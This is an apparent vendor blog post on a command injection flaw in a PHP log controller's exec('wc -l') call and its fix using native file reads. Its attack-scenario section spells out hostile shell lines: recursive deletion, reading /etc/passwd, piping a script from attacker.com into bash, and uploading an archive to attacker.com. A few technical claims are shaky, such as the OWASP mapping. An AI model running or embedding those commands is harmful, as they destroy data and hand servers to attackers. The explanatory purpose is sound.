How Command Injection Happens in PHP Controllers and How to Fix It

How Command Injection Happens in PHP Controllers and How to Fix It

Introduction

The logging service in a PHP application seemed innocuous at first glance—it simply counted the number of lines in a log file. But buried in lib/Controller/LogsController.php at line 499 was a critical vulnerability that could have handed attackers complete control over the server. The getAll() method was using PHP's exec() function to run the shell command wc -l to count lines, and it was passing the log file path directly from an untrusted source without any sanitization:

$wtlogfilezeilen = intval(exec("wc -l " . $wtlogfile));

This single line of code created a command injection vulnerability—a CWE-78 defect that could allow an attacker to execute arbitrary operating system commands with the privileges of the PHP-FPM process. An attacker who could control or influence the $wtlogfile variable could inject shell metacharacters to break out of the intended command and execute malicious code.

For developers maintaining code that performs system operations, this is a critical lesson: never assume that file paths, user inputs, or configuration values are safe to embed directly into shell commands, even when they seem to come from "trusted" internal sources.

The Vulnerability Explained

The Dangerous Pattern

Let's examine the vulnerable code in its full context:

public function getAll(): DataResponse {
    $wtlogfile = $this->logService->getLogFile();

    if (file_exists($wtlogfile)) {
        if ($this->logService->isExecAvailable()) {
            $wtlogfilezeilen = intval(exec("wc -l " . $wtlogfile));  // Line 499: VULNERABLE
        }
        else {
            $wtlogfilezeilen = count($this->helper->wtlogtoarr($wtlogfile));
        }
    } else {
        $wtlogfilezeilen = 0;
    }
    $wttext = $this->l->n('%n log entry', '%n log entries', $wtlogfilezeilen);
    return new DataResponse([...]);
}

The vulnerability stems from string concatenation directly into a shell command. While the code retrieves the log file path from $this->logService->getLogFile(), this doesn't guarantee safety. Even "internal" data sources can be compromised through:

• Configuration file manipulation
• Database injection earlier in the application lifecycle
• Symbolic link attacks
• Race conditions between path validation and execution
• Deserialization of untrusted objects

Attack Scenario

Suppose an attacker could influence the log file path (through a configuration override, environment variable, or other vector). They could inject a path like:

/var/log/app.log; rm -rf /var/www/html; echo

When this is concatenated into the exec() call, the actual shell command becomes:

wc -l /var/log/app.log; rm -rf /var/www/html; echo

The semicolon is a shell metacharacter that separates commands. The injected rm -rf would execute with full destructive power. An attacker could:

• Delete files: ; rm -rf /var/www
• Read sensitive files: ; cat /etc/passwd
• Establish persistence: ; curl attacker.com/shell.sh | bash
• Exfiltrate data: ; tar czf - /var/www | curl -F "file=@-" attacker.com
• Pivot to other systems: ; ssh internal-database-server "malicious command"

The intval() wrapper doesn't help—it only converts the output to an integer after the command has already executed.

Why This Matters

This vulnerability is particularly dangerous because:

1. It's a primitive for automated exploitation: Tools like Rapid7's Metasploit and academic exploit-generation systems actively hunt for exec/system/shell_exec patterns in code. This code provided exactly that primitive.

2. The fallback confirms the risk: Notice that the code has a fallback: $this->helper->wtlogtoarr($wtlogfile) (which reads the file without shell execution). The existence of this fallback suggests developers already knew the operation could be done safely in PHP, yet they chose the dangerous path anyway.

3. No real security benefit from using exec(): The wc -l command doesn't provide faster performance than native PHP file iteration. In fact, spawning a shell process is slower than pure PHP operations.

4. Defense in depth fails: The file_exists() check provides no protection against command injection. An attacker doesn't need the file to exist—they need to inject commands that run regardless.

The Fix

The fix eliminates shell execution entirely and replaces it with native PHP file iteration. Here's the before and after:

Before (Vulnerable)

if (file_exists($wtlogfile)) {
    if ($this->logService->isExecAvailable()) {
        $wtlogfilezeilen = intval(exec("wc -l " . $wtlogfile));
    }
    else {
        $wtlogfilezeilen = count($this->helper->wtlogtoarr($wtlogfile));
    }
} else {
    $wtlogfilezeilen = 0;
}

After (Fixed)

$wtlogfilezeilen = 0;

if (file_exists($wtlogfile)) {
    $handle = fopen($wtlogfile, 'rb');

    if ($handle !== false) {
        while (fgets($handle) !== false) {
            $wtlogfilezeilen++;
        }

        fclose($handle);
    }
}

Why This Fix Is Effective

1. No shell execution: The fixed code uses fopen() and fgets(), which are pure PHP functions that operate on file descriptors, not shell commands. An attacker cannot inject shell metacharacters because no shell process is spawned.

2. Simpler and more efficient: Counting lines by iterating through a file with fgets() is:
   - Faster: No process spawning overhead (exec() must fork a shell, load the wc binary, parse output)
   - More portable: Works identically on Windows, Linux, macOS without shell differences
   - More controllable: PHP can handle large files with streaming; shell commands have fixed output buffer limits

3. Eliminates the conditional logic: The old code had a branching path: try exec(), fall back to wtlogtoarr(). The fix always uses the safe path, reducing complexity and testing burden.

4. Error handling is explicit: Using fopen() returns a file handle or false, making error cases explicit. The code correctly checks if ($handle !== false) and cleans up with fclose().

5. Preserves behavior: The fix counts exactly the same thing (lines in the file) and returns the result in the same format (integer), so all downstream code continues working unchanged.

Prevention & Best Practices

1. Replace Shell Execution with Native Language Functions

Key principle: If PHP has a native function for the task, use it. Shell execution should be a last resort.

2. Static Analysis Configuration

Enable Semgrep's rule for detecting dangerous shell execution:

semgrep --config p/owasp-top-ten --config p/security-audit lib/

Or specifically for exec() usage:

semgrep --rule 'php.lang.security.exec-use.exec-use' lib/

Add this to your CI/CD pipeline to catch these patterns automatically:

# .semgrep.yml
rules:
  - id: no-dangerous-exec
    patterns:
      - pattern-either:
          - pattern: exec(...)
          - pattern: system(...)
          - pattern: shell_exec(...)
          - pattern: passthru(...)
          - pattern: proc_open(...)
    message: "Use native PHP functions instead of shell execution"
    languages: [php]
    severity: ERROR

3. Code Review Checklist

When reviewing code, watch for these patterns:

• [ ] Any use of exec(), system(), shell_exec(), passthru(), proc_open()
• [ ] String concatenation into command arguments: exec($cmd . " " . $userInput)
• [ ] Reliance on escapeshellarg() or escapeshellcmd() (these are insufficient)
• [ ] Conditional execution based on function existence: if (function_exists('exec')) (suggests a fallback exists; use it)
• [ ] File path variables being used in commands

4. OWASP and CWE References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') — https://cwe.mitre.org/data/definitions/78.html
• OWASP A1:2021 – Broken Access Control and A03:2021 – Injection both cover this class of vulnerability
• OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection

Key Takeaways

• Never concatenate file paths or user input into exec() calls, even if they seem to come from "internal" sources. Configuration files, databases, and symlinks can all be compromised.

• PHP has robust native functions for file operations (fopen, fgets, filesize, file_get_contents, glob, etc.). Use them. Shell execution adds complexity, overhead, and security risk with no benefit for routine operations.

• The existence of a safe fallback is a red flag: In this code, $this->helper->wtlogtoarr($wtlogfile) provided a pure-PHP alternative. If a safe alternative exists, use it instead of the dangerous shell path.

• Semgrep's php.lang.security.exec-use rule catches this pattern automatically. Integrate it into your CI/CD to prevent similar issues from reaching production.

• Counting file lines with fopen()/fgets() iteration is faster than exec("wc -l") because it eliminates process spawning overhead. Safe code can also be more performant.

How Orbis AppSec Detected This

Source: Internal file path from $this->logService->getLogFile() flows into the controller method.

Sink: The dangerous exec("wc -l " . $wtlogfile) call at line 499 of lib/Controller/LogsController.php.

Missing control: No validation that $wtlogfile contains only legitimate characters; no use of escapeshellarg(); reliance on shell execution instead of native PHP file operations.

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command, 'OS Command Injection')

Fix: Replace exec("wc -l " . $wtlogfile) with a pure-PHP loop using fopen(), fgets(), and fclose() to count lines without spawning a shell process.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability exemplifies a fundamental principle of secure coding: when your programming language provides native functions for a task, use them instead of delegating to the operating system shell. PHP includes excellent file I/O functions precisely to eliminate the need for shell commands.

The fix here wasn't complex—it was a straightforward replacement of one dangerous pattern with a safe, native alternative. But the security impact is enormous: it transforms a critical remote code execution vulnerability into code that cannot execute arbitrary commands, regardless of how the file path is manipulated.

For developers, the lesson is clear: audit your codebase for exec(), system(), shell_exec(), and similar functions. Replace them with language-native equivalents. Integrate static analysis tools like Semgrep into your CI/CD pipeline to catch these patterns before they reach production. And remember—when both safe and dangerous approaches are available, always choose the safe path.